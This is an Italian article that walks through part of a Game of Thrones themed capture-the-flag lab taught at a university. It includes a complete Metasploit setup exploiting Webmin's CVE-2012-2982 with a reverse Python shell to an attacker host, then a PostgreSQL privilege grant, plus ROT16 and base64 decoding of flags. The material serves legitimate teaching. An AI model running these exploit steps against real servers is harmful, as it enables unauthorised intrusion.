Capture The Flag: raccogliamo gli indizi per indentificare una vulnerabilità - Cyber Security 360

TECNICHE DI HACKING

Capture The Flag: raccogliamo gli indizi per indentificare una vulnerabilità

Con un’attenta analisi degli indizi trovati all’interno del sistema target, possiamo completare la raccolta delle nostre “bandiere” che ci consentiranno di individuare e identificare tutte le vulnerabilità nascoste. Ecco come procedere

23 Lug 2021
D
Vincenzo Digilio

ICT Security Manager & Co-founder of Cyber Division

Dietro l’apparenza “giocosa” di una competizione virtuale in cui bisogna catturare tutte le bandiere disseminate sul terreno di gioco (il sistema target delle nostre analisi), la Capture the Flag (CTF) è una delle tecniche più utilizzate dai team di hacking per ricercare vulnerabilità nei sistemi e nei software.

L’articolo tratta la terza parte della CTF (Capture The Flag) basata sull’universo di Game of Thrones, che ho avuto il piacere di svolgere come lezione per l’Università degli Studi di Perugia, in collaborazione con i Professori Stefano Bistarelli e Francesco Santini (qui, rispettivamente, la prima e la seconda parte della CTF).

Capture The Flag: un nuovo regno da conquistare

Nella scorsa puntata avevamo conquistato le Isole di Ferro (il terzo regno) ed eravamo salpati alla volta delle Terre della Tempesta, dove un nuovo enigma ci stava attendendo. In nostro possesso avevamo solo un nuovo indirizzo, allocato sulla nostra macchina della CTF 192.168.178.80 tramite VirtualHosting: un nome utente ed una password.

    • Indirizzo: http://stormlands.7kingdoms.ctf:10000
    • Username: aryastark
    • Password: N3ddl3_1s_a_g00d_sword#!

Come già visto in precedenza (Parte II – VirtualHosting), ora avremmo dovuto indicare la nostra “rotta” all’interno del file hosts.

Utilizzando l’editor di testo vim effettuai l’accesso al file:

$ vim /etc/hosts

Portandomi al termine del file, entrai in modalità di inserimento schiacciando il tasto “i” ed inserii la nuova riga costituita dall’IP della macchina GOT e il dominio del VirtualHost:

192.168.178.80 stormlands.7kingdoms.ctf

Uscii dalla modalità inserimento premendo il tasto Esc e salvai il file con:wq.

Riaprii il browser e incollai l’indirizzo del VirtualHost: http://stormlands.7kingdoms.ctf:10000. Fu così che approdammo nelle Terre della Tempesta.

All’interno della maschera di login inserii il nome utente e la password. Una volta loggati cliccai su “System Information” e così ci apparve un messaggio di minaccia.

Ma anche una preziosa informazione, la versione del software utilizzato: Webmin era la 1.590.

Alla ricerca di vulnerabilità sfruttabili

La prima cosa che feci fu verificare se, per questa versione, esisteva una vulnerabilità sfruttabile all’interno di Exploit-DB. Per la ricerca utilizzai l’apposito tool da linea di comando:

searchsploit webmin

Così facendo, scoprimmo la presenza di un exploit per la versione 1.580 che faceva riferimento alla CVE-2012-2982. Tale CVE riguardava il file show.cgi e permette l’esecuzione di codice arbitrario sfruttando un bug nella convalidazione dell’input, in tutte le versioni di Webmin a partire dalla 1.590 e precedenti. Vale a dire che potevamo sfruttare il codice dell’exploit anche per la nostra versione.

Non rimaneva che utilizzare l’exploit per aprire una shell sulla macchina bersaglio.

Dopo aver avviato da terminale metasploit, tramite il comando msfconsole, individuai il percorso dell’exploit utilizzando il search:

search webmin

Individuato il percorso, restava da specificare il suo utilizzo:

use exploit/unix/webapp/webmin_show_cgi_exec

Diedi un’occhiata alle varie opzioni disponibili:

show options

e cominciai la fase di settaggio, partendo da username e password:

set USERNAME aryastark

set PASSWORD N3ddl3_1s_a_g00d_sword#!

Il “remote host” era l’Indirizzo IP della nostra macchina bersaglio:

set RHOSTS 192.168.178.80

Anche se non mandatorio, specificai comunque l’indirizzo http del server virtual host:

set VHOST stormlands.7kingdoms.ctf

Il sito non utilizzava SSL, quindi settai l’opzione a “false”:

set SSL false

Come prossimo passo, avremmo dovuto settare il PAYLOAD. Scelsi un reverse_python:

set PAYLOAD cmd/unix/reverse_python

Il “local host” era la nostra macchina attaccante:

set LHOST 192.168.178.3

Lasciai la posta di default: 4444

Pronti a sferrare un attacco

Eravamo pronti a lanciare il nostro attacco digitando il comando exploit.

In pochi secondi la shell sulla macchina fu aperta e il comando ls mi confermò che l’attacco era riuscito.

Ovviamente ci trovavamo nella directory di webmin /usr/share/webmin/file.

Eravamo entrati utilizzando lo username aryastark, quindi poteva essere un’idea dare un’occhiata (se esisteva) alla folder dell’utente.

Digitai quindi un cd / per risalire sino alla root, dirigendomi successivamente nella /home folder:

cd home

Al suo interno trovai un’altra cartella con il nome: aryastark.

Ancora una volta, digitai il comando di “change directoy” per entrarvi:

cd aryastark

La ricerca non era stata vana e al suo interno era presente l’agognato file: flag.txt.

Visualizzai il suo contenuto tramite il comando cat e finalmente conquistammo le Terre della Tempesta!

In base a quello che sapevamo, dall’nmap (Parte I – Figura 4) e dalla cartina dei regni (Parte I – Figura 13), il regno della Montagna e della Valle era un database (DB) in PostgresSQL e, stando al nostro ultimo indizio, avremmo dovuto utilizzare il nostro terminale attraverso il camando psql.

Psql è un terminale interattivo per lavorare con i database PostgreSQL, utilizzato per interrogare i dati dal DB in modo più rapido ed efficace.

La sintassi del comando per connettersi ad un DB che risiede su un host remoto è:

psql –h 192.168.178.80 –d mountainandthevale –U robinarryn

    • psql: comando
    • –h : opzione per specificare l’host remoto
    • 192.168.178.80 : indirizzo IP dell’host remoto
    • –d : opzione per specificare il database a cui ci vogliamo connettere
    • mountainandthevale : il nome del DB
    • –U : opzione per specificare lo username
    • robinarryn : lo username utilizzato

Il terminale mi avvisò che era necessaria la password di cui eravamo in possesso (cr0wn_f0r_a_King-_). Fu così che, pochi istanti dopo, entrammo all’interno del Database mountainandthevale.

La prima cosa che feci, fu listare le tabelle presenti all’interno del DB, utilizzando il comando d.

All’interno del DB erano presenti 8 tabelle, la più interessante pareva essere quella con il nome “flag” . Ma era opportuno dare un’occhiata generale, la prima “SELECT” che feci fu sulla tabella aryas_kill_list.

SELECT * FROM aryas_kill_list;

Al suo interno erano presenti una lista con diversi nomi ed il presunto crimine, ma nessuno (apparentemente) sembrava essere un indizio utile.

La seconda “SELECT” riguardò la table braavos_book . Nella nostra mappa dei regni (parte I figura 13) veniva fatta una menzione relativa ad una delle tre “Flag Extra”: “City of Braavos”; quindi con molta probabilità eravamo vicini ad una di queste flag extra.

SELECT * FROM braavos_book;

Nel box sottostante, ci parve di aver trovato qualcosa di interessante:

Il testo al punto 9 pareva essere criptato con un cifrario monoalfabetico. Il più famoso è noto come ROT13, che sta per “rotate by 13 places”, e si rifà ad uno dei più antichi algoritmi crittografici, il cifrario di Cesare. Il funzionamento del cifrario è abbastanza semplice: ogni singola lettera del testo in chiaro viene sostituita, nel messaggio cifrato, con una lettera che si trova ad un dato numero di posizioni nell’alfabeto.

Ad esempio: se il testo in chiaro “CTF” venisse criptato con una chiave pari a 3 posizioni, ogni lettera subirebbe uno shift in avanti di 3 posizioni nell’alfabeto. Per cui il messaggio CTF, criptato, diverrebbe:

  • Lettera C, shift in avanti di 3 lettere = F
  • Lettera T, shift in avanti di 3 lettere = W
  • Lettera F, shift in avanti di 3 lettere = I

Il risultato del processo di cifratura sarà: FWI .

In maniera abbastanza immediata, se vogliamo risalire al messaggio originale, ci basterà applicare uno shift alfabetico di 3 lettere indietro per risalire al testo in chiaro, cioè “CTF”.

A questo punto non restava che domandarsi di quanto fosse lo shift applicato. Dopo vari tentativi scoprii che si trattava di un ROT16: il messaggio veniva quindi criptato con una chiave pari a 16 posizioni dopo dell’alfabeto.

Se volete fare una verifica veloce, potete scaricare CrypTool. Una volta installato, copiate ed incollate il testo cifrato, selezionate dalla barra in alto Encrypt/Decrypt , nel menu a tendina scegliete Symmetric (classic) ed infine cliccate su Caesar / ROT-13. La variante che dovrete scegliere è Caesar. Nel menu “Key entry as” scegliete “Number value” 16 ed infine cliccate su Encrypt.

Il messaggio ci stava quindi suggerendo di connetterci ad un altro database di nome braavos e inserire la password ValarMorghulis . Tuttavia, non eravamo ancora in possesso del nome utente con il quale effettuare la connessione al DB. Il messaggio, però, recava un altro indizio: il nome utente che stavamo cercando era uno di quelli presenti all’interno della tabella aryas_kill_list corrispondente al “numero di pagina perso”.

Decisi, per un attimo, di lasciare da parte la ricerca del misterioso utente e di continuare con le SELECT, proseguendo con:

SELECT * FROM eyrie;

Nulla di particolare destò la mia attenzione.

Adesso, era il turno della fatidica tabella che recava il nome flag:

SELECT * FROM flag;

Permesso negat.! Non avevamo i permessi per accedere alla table. Provai quindi ad assegnare tutti i privilegi delle tabelle, appartenenti allo “schema” public, al nostro nome utente: robinarryn.

GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO robinarryn;

Riprovai quindi la SELECT sulla nostra tabella “flag”: SELECT * FROM flag;.

Questa volta il comando ci permise di accedere al contenuto della “table”.

Il testo della flag pareva essere cifrato anche questa volta, ma i due caratteri “==” al termine del messaggio mi fecero sospettare un semplice encode in base64. Tale codifica consente la traduzione di dati binari in stringhe di testo nell’American Standard Code for Information Interchange (ASCII). Viene usato principalmente nella codifica di dati binari nelle e-mail, per convertire dati nel suddetto formato.

Aprii quindi un secondo terminale e copiai il messaggio all’interno del seguente comando:

echo TmljZSEgeW91IGNvbnF1ZXJlZCB0aGUgS2luZ2RvbSBvZiB0aGUgTW91bnRhaW4gYW5kIHRoZSBWYWxlLiBUaGlzIGlzIHlvdXIgZmxhZzogYmIzYWVjMGZkY2RiYzI5NzQ4OTBmODA1YzU4NWQ0MzIuIE5leHQgc3RvcCB0aGUgS2luZ2RvbSBvZiB0aGUgUmVhY2guIFlvdSBjYW4gaWRlbnRpZnkgeW91cnNlbGYgd2l0aCB0aGlzIHVzZXIvcGFzcyBjb21iaW5hdGlvbjogb2xlbm5hdHlyZWxsQDdraW5nZG9tcy5jdGYvSDFnaC5HYXJkM24ucG93YWggLCBidXQgZmlyc3QgeW91IG11c3QgYmUgYWJsZSB0byBvcGVuIHRoZSBnYXRlcw== | base64 –d

    • echo : stampa a video
    • TmljZSEgeW91I[..] : l’encode della flag in base64
    • | : operatore di concatenazione “pipe” che permette a due processi separati di comunicare fra loro
    • base64 : tool per la decodifica
    • -d : opzione di decodifica

Avevamo conquistato anche il regno della Montagna e della Valle, ma non era ancora tempo di partire. Pima di lasciare queste terre per sempre, dovevamo dirimere l’enigma che si celava dietro al nome del misterioso utente legato alla Città di Braavos…

To be continued…

@RIPRODUZIONE RISERVATA

Articolo 1 di 4